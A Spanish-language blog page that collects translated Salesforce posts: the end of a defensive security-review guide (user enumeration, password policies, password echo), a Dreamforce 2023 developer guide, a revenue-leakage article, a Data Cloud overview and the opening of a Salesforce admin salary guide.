Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.

Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.

Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.

Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
Añadir a tu agenda

Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!

📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
Añadir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.

📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.

Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda ✏️

Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
Añade esta sesión a tu agenda

Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
Añade esta sesión a tu agenda

¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
Añade esta sesión a tu agenda

Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
Añade esta sesión a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
Añade esta sesión a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
Añade esta sesión a tu agenda

Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
Añade esta sesión a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
Añade esta sesión a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
Añade esta sesión a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
Añade la keynote a tu agenda

Fiel al foro principal de clientes

Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
  5. Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La fuga de ingresos es la amenaza oculta a la que se enfrentan todas las empresas. Desde las etapas iniciales de calificación de clientes potenciales hasta las ventas adicionales y cruzadas, los ingresos potenciales pueden perderse en cualquier punto del embudo de ventas debido a brechas e ineficiencias.

En este artículo, exploraremos cómo las empresas pueden utilizar la inteligencia artificial (IA) y los datos para combatir la fuga de ingresos junto con la experiencia de los administradores de Salesforce.

En su forma más simple, la fuga de ingresos es la pérdida de ingresos ganables debido a errores no forzados y desalineaciones en el proceso de generación de ingresos. Según Boston Consulting Group , las débiles estrategias de lanzamiento al mercado están causando que las empresas pierdan $2 billones al año en ingresos potenciales perdidos y costos excesivos.  

Profundizaremos en este tema crítico en Dreamforce en San Francisco del 12 al 14 de septiembre de 2023. Como orgulloso patrocinador del evento, Revenue Grid compartirá información sobre cómo las empresas pueden abordar de manera efectiva la fuga de ingresos utilizando el poder de la IA y los datos. . Nuestra misión es simple: capacitar a las empresas para salvaguardar sus ingresos ganados con tanto esfuerzo y, como administrador de Salesforce, ¡usted tiene la clave de esta iniciativa! Únase a nosotros en Dreamforce para sumergirse en el emocionante mundo de la protección de ingresos impulsada por IA y descubra cómo abordar este desafío comercial crítico.

Revolucionando la batalla contra las fugas de ingresos con IA

La lucha contra la fuga de ingresos nunca ha sido un trabajo fácil. Con el auge de la IA generativa, surge una poderosa herramienta contra las fugas de ingresos, que transforma la forma en que las empresas combaten este desafiante problema. La adopción de IA entre las organizaciones B2B está en constante aumento. La investigación de McKinsey indica que el 90 % de los líderes comerciales prevé utilizar con frecuencia soluciones de IA generativa en los próximos dos años. Además, las organizaciones que invierten en IA están experimentando aumentos sustanciales en los ingresos, que van del 3 % al 15 %, según el mismo informe.

La IA es un poderoso aliado en la lucha contra las fugas de ingresos. Sin embargo, no puede hacerlo solo. El punto clave a entender es que la IA aprende de los datos generados por humanos. En términos más simples, la efectividad de la IA está directamente relacionada con la calidad de sus datos. Para aprovechar al máximo el potencial de la IA y desbloquear sus capacidades para la protección de los ingresos, es esencial conectar datos fiables y confiables de diversas fuentes.

Sin embargo, en muchas organizaciones, los datos se aíslan con frecuencia en varios sistemas, creando silos. Incluso las grandes organizaciones con sólidos procedimientos de gestión de datos a menudo se encuentran con problemas de calidad de los datos, como la falta de datos en su CRM. Esta realidad nos enfrenta a un círculo vicioso, ya que los datos incorrectos son una de las causas más comunes de fuga de ingresos . Sin garantizar la integridad de los datos y aprovechar la IA, combatir de manera efectiva las fugas de ingresos se convierte en una tarea imposible.

Garantizar la integridad de los datos incluye manejar la seguridad y abordar las preocupaciones de cumplimiento que requieren conocimientos técnicos y experiencia específica. Con sus conocimientos y habilidades, los administradores de Salesforce desempeñan un papel vital en cerrar la brecha entre las capacidades de IA y la calidad de los datos, lo que permite a las empresas combatir las fugas de ingresos de manera efectiva.

Garantizar la integridad de los datos con captura de actividad y poder administrativo

Una de las principales razones detrás de los problemas de datos para las empresas es la dependencia de los procesos manuales, lo que puede conducir a la entrada de datos que requiere mucho tiempo y mano de obra, lo que resulta en datos faltantes, errores y duplicados en CRM.

La captura de actividad automatizada supera estos desafíos al ofrecer una alternativa efectiva a la entrada manual de datos. Al recopilar y guardar el 100 % de los datos de actividad en varios puntos de contacto con el cliente, las soluciones de captura de actividad eliminan los errores de entrada de datos y garantizan datos precisos y siempre actualizados en Salesforce.

Además, tener datos completos permite a las empresas ver el panorama general, lo que les permite evaluar el estado de la tubería e identificar acuerdos que se están moviendo, estancados o en riesgo, ayudándolos a identificar posibles fugas antes de que ocurran. Además, la captura de actividad automatizada mejora la eficiencia al liberar a los equipos de ventas de dedicar tiempo a la entrada manual de datos.

Si bien la captura de actividad parece ser la solución ideal para garantizar la integridad de los datos, no todas las herramientas de captura de actividad se crean de la misma manera y algunas pueden tener serias desventajas. Estos pueden incluir no tener datos reportables en Salesforce, opciones de sincronización personalizables limitadas, falta de sincronización bidireccional que causa problemas de programación y vulnerabilidades de seguridad debido a la ausencia de opciones de implementación en la nube privada y local.

La experiencia y los conocimientos técnicos de los administradores de Salesforce son cruciales para superar con éxito estos desafíos. Capacitar a los administradores para elegir e implementar la solución de captura de actividad adecuada y manejar los problemas relacionados con los datos cuando ocurren garantiza el mantenimiento de datos de CRM de alta calidad.

Aprovechar la IA para combatir la fuga de ingresos

Con la integridad de los datos asegurada, el motor de IA ahora se alimenta con información esencial y está listo para actuar. Los datos de actividad incluyen señales invaluables sobre la canalización, las oportunidades de ventas y las brechas potenciales en los procesos. Identificar estos conocimientos requiere un análisis profundo de los datos, lo que es imposible con la evaluación manual. AI automatiza el análisis de datos para visualizar el estado de la tubería e identificar las brechas de ejecución que indican fugas de ingresos.  

A continuación, la IA crea información procesable a través de la inteligencia de ingresos. Después de analizar cantidades masivas de datos, la IA detecta patrones y los transforma en información procesable a través de recomendaciones de IA contextuales y en tiempo real. Esto brinda a los equipos la orientación que necesitan para abordar la posible fuga de ingresos de inmediato.

El paso final es garantizar que se sigan estas recomendaciones y evaluar su eficacia. Las funciones de informes avanzados y las señales de IA muestran el impacto exacto en tiempo real a medida que evoluciona la canalización. Esto permite los ajustes necesarios en los procesos y establece una plataforma de ejecución para implementar cambios en toda la empresa y mejoras en los procesos para combatir las fugas de ingresos en toda la empresa.  

Únase a nuestras sesiones de oratoria de Dreamforce para obtener más información

La fuga de ingresos es un problema comercial crítico que debe manejarse, y la IA surge como una herramienta poderosa para abordarlo. Para aprovechar al máximo el potencial de la IA, es esencial combinarla con datos de calidad. Aquí es donde los administradores de Salesforce juegan un papel fundamental, potenciando la IA con datos valiosos y aprovechando su experiencia y conocimientos técnicos para combatir las fugas de ingresos de manera efectiva.

Si está ansioso por obtener más información sobre cómo la IA puede revolucionar sus estrategias de protección de ingresos, lo invitamos a unirse a nuestras sesiones de conferencias de Dreamforce . ¡Encuéntrenos en el stand n.º 1126 para explorar las emocionantes posibilidades de la optimización de ingresos impulsada por IA!

Maria Gordienko es directora de comunicaciones de Revenue Grid.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Reúna todos los datos de sus clientes en Data Cloud ☁️

Reúna todos los datos de sus clientes en Data Cloud ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Reúna todos los datos de sus clientes en Data Cloud | Blog de desarrolladores de Salesforce

En nuestras publicaciones de blog anteriores, exploramos a alto nivel qué es Data Cloud para los desarrolladores. También exploramos algunas características interesantes de Data Cloud para desarrolladores . Le mostramos cómocrear conocimientos calculados , cómo usar Apex y cómo cargar datos mediante programación usando la API de ingesta . En esta publicación de blog, cubriremos características aún más increíbles que Data Cloud tiene para ofrecer.

La nube de datos está activa

Data Cloud es más que un lago de datos. Es una plataforma de datos activa. Los desarrolladores pueden traer datos desde cualquier sistema, canal o flujo de datos, ya sea en flujos continuos o en lotes. Con Data Cloud, puede conectar sus datos a través de diferentes sistemas que contienen los datos de sus clientes. Data Cloud se basa en nuestra plataforma Hyperforce , lo que significa que Data Cloud puede absorber fácilmente grandes volúmenes de datos. Con Hyperforce, Data Cloud es rápido y también puede capturar eventos segundos después de que ocurran.

Si piensa en cuántos clics hace cada cliente, el volumen de datos se expande rápidamente. Por ejemplo, a medida que los clientes abren y hacen clic en los correos electrónicos, navegan por las páginas de sus aplicaciones móviles y miran los productos en su sitio web, puede capturar esos datos de participación a medida que ocurren. Cuando envía un correo electrónico u oferta y es relevante para la persona que lo recibe, es mucho más probable que haga clic. Cuando un cliente hace clic, puede capturar la interacción en Data Cloud. A continuación, puede utilizar esa información para averiguar qué les interesa y si es probable que realicen una compra o no.

La nube de datos está integrada

Tener todos estos datos en tiempo real de múltiples fuentes empresariales es excelente. Pero los datos no son significativos a menos que pueda usarlos. Data Cloud se conecta de forma nativa a muchos proveedores de nube, como Google Cloud Storage , Azure Storage y Amazon S3 . Data Cloud también se conecta de forma nativa a Salesforce . Después de solo unos pocos clics, puede conectar cualquier organización de Sandbox o de producción de Salesforce a Data Cloud. Luego, Data Cloud puede ingerir cualquier objeto de Salesforce en un flujo de datos .

Después de que sus datos se ingieran en objetos de lago de datos (DLO) y se asignen a objetos de modelo de datos (DMO), un modelo de datos como el siguiente se integra dinámicamente en Data Cloud. Esto le permite ver visualmente todos los flujos de datos que están creando la vista única de su cliente.

Atrás quedaron los días en que Data Cloud era solo una plataforma de datos para marketing. Los datos almacenados en Data Cloud ahora se pueden usar en muchos sistemas. Los datos de Data Cloud se pueden usar en Amazon Ads y Google Ads mediante activaciones y objetivos de activación . También puede usar el conector de nube de datos nativo en Tableau para obtener nuevos conocimientos. Los aceleradores de Tableau listos para usar le permiten moverse aún más rápido usando tableros y libros de trabajo prediseñados y listos para usar. Con Data Cloud más Tableau, puede cubrir fácilmente nuevos conocimientos sobre su negocio al reunir todos sus datos. Los desarrolladores ahora pueden incorporar estos conocimientos impulsados por IA en una aplicación de su elección.

La nube de datos está automatizada

Los datos de Data Cloud también se pueden enviar a Salesforce mediante acciones de datos y eventos de la plataforma y luego aprovecharse en flujos mediante una variedad de acciones de datos que están disponibles en Salesforce Flow. Los desarrolladores pueden usar Flow para publicar información y segmentos calculados, actualizar flujos de datos, ejecutar resoluciones de identidad e incluso activar modelos de predicción. El flujo también puede obtener datos de un objeto de modelo de datos y almacenar esa información en una variable de colección para usarla en otras partes del flujo.

La nube de datos está abierta

Data Cloud tiene muchas asociaciones estratégicas con empresas como Amazon, Google, Snowflake y Meta. Estas asociaciones han ampliado la plataforma para permitir mayores posibilidades y ayudar a que sus datos sean más procesables. La mejor noticia es que nuestras asociaciones están creciendo constantemente, ¡y pronto habrá nuevas!

Recursos

Sobre los autores

Muralidhar Krishnaprasad (también conocido como MK o Murali para abreviar) es el vicepresidente ejecutivo de ingeniería que ejecuta datos, ML y análisis dentro de la organización de Marketing Cloud. Se unió a Salesforce hace tres años y está a cargo de crear, integrar y hacer crecer varios productos relacionados con datos, ML y análisis. Está liderando la iniciativa para repensar nuestra estrategia general de próxima generación que reúne lo mejor de big data, ML y análisis junto con nuestra plataforma para construir la base para el futuro digital.

Danielle Larregui es promotora sénior de desarrolladores en Salesforce, donde se enfoca en la creación de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificación. Danielle también disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos técnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al día con su contenido técnico.

Dianne Siebold es redactora técnica principal del equipo de Experiencia de contenido en Salesforce. Se especializa en desarrollo, inteligencia artificial y tecnologías de integración.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Guía salarial de administrador de Salesforce (+ consejos para ganar más) – Inspire Planner

Guía salarial de administrador de Salesforce (+ consejos para ganar más) - Inspire Planner

Una estadística sorprendente de Skuid revela que entre el 20 y el 70 % de los proyectos de CRM fallan debido a la falta de experiencia profesional. Las empresas sin administradores de Salesforce capacitados son similares a los propietarios de automóviles costosos de alto rendimiento pero sin licencia de conducir. Lo tienes, pero no puedes usarlo en todo su potencial. Como un hábil conductor detrás del volante, los administradores de Salesforce garantizan el funcionamiento perfecto de Salesforce, la plataforma de CRM líder en el mundo. Pueden adaptar la plataforma para que se adapte a las necesidades comerciales únicas, navegando sus complejidades con facilidad. Pero surge una pregunta importante: ¿qué factores influyen significativamente en el salario de un administrador de Salesforce?

En esta Guía de salario de administrador de Salesforce, profundizaremos en estas preguntas y descubriremos información crucial en el camino. A partir de esta guía, puede esperar descubrir:

  • El papel fundamental de un administrador de Salesforce en la industria tecnológica
  • Un análisis completo de los salarios de los administradores de Salesforce, teniendo en cuenta factores como la experiencia, la ubicación, la industria y las certificaciones.
  • El impacto de las certificaciones y la experiencia en el salario de un administrador de Salesforce
  • Variaciones geográficas de los salarios de los administradores de Salesforce en EE. UU., India y en todo el mundo
  • Efecto de los cambios de trabajo frente a la permanencia en el trabajo en la progresión salarial del administrador de Salesforce
  • Consejos prácticos para los administradores de Salesforce que buscan aumentar sus ingresos

Profundicemos y desentrañemos los aspectos importantes de ser un administrador de Salesforce exitoso.

¿Qué hace un administrador de Salesforce?

Los administradores de Salesforce tienen muchas funciones. Administran usuarios, datos y seguridad, personalizan Salesforce para satisfacer las necesidades comerciales, crean informes y paneles y brindan capacitación a los usuarios finales. Su función requiere una combinación de habilidades técnicas y blandas, incluida la resolución de problemas, la comunicación, la gestión de proyectos y una comprensión profunda de las funcionalidades de Salesforce.

Según un estudio realizado por IDC, se prevé que el ecosistema de Salesforce, incluidos sus clientes y socios, genere 9,3 millones de nuevos puestos de trabajo y contribuya a $1,6 billones en nuevos ingresos comerciales a nivel mundial para 2026. A medida que más empresas adopten Salesforce, el papel de Salesforce Los administradores solo se volverán más fundamentales, haciendo de esta profesión no solo un trabajo, sino una opción de carrera próspera.

Salario de administrador de Salesforce en los EE. UU.

Salario de nivel de entrada y salario promedio anual del administrador de Salesforce

Según Payscale, para aquellos que recién comienzan su viaje como administradores de Salesforce, el salario inicial en los EE. UU. es de aproximadamente $ 61,000 por año. Esta cifra representa el salario inicial estándar para los administradores que tienen menos de un año de experiencia. La cifra puede cambiar según variables como la ubicación, la industria y el tamaño de la empresa.

El salario anual promedio de los administradores de Salesforce en los EE. UU. es de alrededor de $ 73,500. Esta cifra es un promedio de varios niveles de experiencia, industrias y ubicaciones dentro de los EE. UU. Incluye el salario base, aguinaldos, participación en las utilidades y cualquier otro beneficio económico, en su caso.

Variaciones del salario del administrador de Salesforce según la experiencia y la industria

Con 2 a 5 años de experiencia, los administradores pueden esperar ganar alrededor de $71,000 por año. Los administradores sénior de Salesforce con más de 5 años de experiencia pueden ganar entre $86 000 y $92 000 por año, según los datos de Payscale.

La industria también juega un factor clave en la determinación del salario. Por ejemplo, los administradores de Salesforce en los sectores de tecnología y finanzas a menudo ganan más que los de otras industrias debido a la mayor demanda y complejidad de las tareas en estos sectores.

Variaciones geográficas en el salario del administrador de Salesforce

La ubicación geográfica es otro factor clave que influye en los salarios. Los estados que tienen costos de vida más altos, como California y Nueva York, frecuentemente ofrecen salarios más altos como contrapeso. De manera similar, los estados con una alta concentración de empresas tecnológicas, como Washington y Texas, también tienden a ofrecer salarios más altos debido al mercado laboral competitivo.

Salesforce Admin Salario en India

India es uno de los mercados más grandes para el talento tecnológico y juega un papel crucial en el ecosistema de Salesforce. Los ingresos de los administradores de Salesforce en la India también están determinados por numerosas variables, como la experiencia, la ubicación geográfica, la industria y las certificaciones.

